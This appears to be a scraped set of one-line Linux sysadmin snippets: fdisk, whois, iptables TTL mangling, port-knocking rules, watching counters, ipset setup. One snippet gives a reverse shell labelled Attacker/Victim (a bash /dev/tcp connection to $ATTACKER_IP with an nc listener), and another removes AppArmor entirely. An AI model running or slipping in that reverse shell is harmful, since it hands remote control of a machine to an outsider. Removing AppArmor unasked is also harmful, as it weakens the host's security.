jkullick

fdisk -c=dos -u=cylinders /dev/sdb

---

Source

jkullick

whois -h whois.radb.net $IP

jkullick

iptables -t mangle -A POSTROUTING -o eth0 -j TTL --ttl-set `cat /proc/sys/net/ipv4/ip_default_ttl`

Alternative:

iptables -t mangle -A POSTROUTING -o eth0 -j TTL --ttl-inc 1

jkullick

for PORT in $PORT1 $PORT2 $PORT3; do nc -vz $SSH_HOST $PORT; done; ssh $SSH_USER@SSH_HOST

jkullick

iptables -A INPUT -p tcp --dport $PORT1 -m recent --set --rsource --name KNOCK1
iptables -A INPUT -p tcp --dport $PORT2 -m recent --rcheck --rsource --seconds 10 --name KNOCK1 -m recent --set --rsource --name KNOCK2
iptables -A INPUT -p tcp --dport $PORT3 -m recent --rcheck --rsource --seconds 10 --name KNOCK2 -m recent --set --rsource --name PASSED
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --rcheck --rsource --seconds 10 --name PASSED -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dports $PORT1,$PORT2,$PORT3 -j ACCEPT

iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

jkullick

/etc/init.d/apparmor stop
update-rc.d -f apparmor remove
apt-get remove -y --purge apparmor apparmor-utils

jkullick

Attacker:

nc -l -p 22222

Victim:

bash -i >& /dev/tcp/$ATTACKER_IP/22222 0>&1

jkullick

watch -n 1 -d iptables -nvL

---

Source

jkullick

1. Install ipset:

apt-get install ipset

2. Create new ipset:

ipset create tor iphash

jkullick

iptables -A INPUT -p udp --dport 60000:61000 -j ACCEPT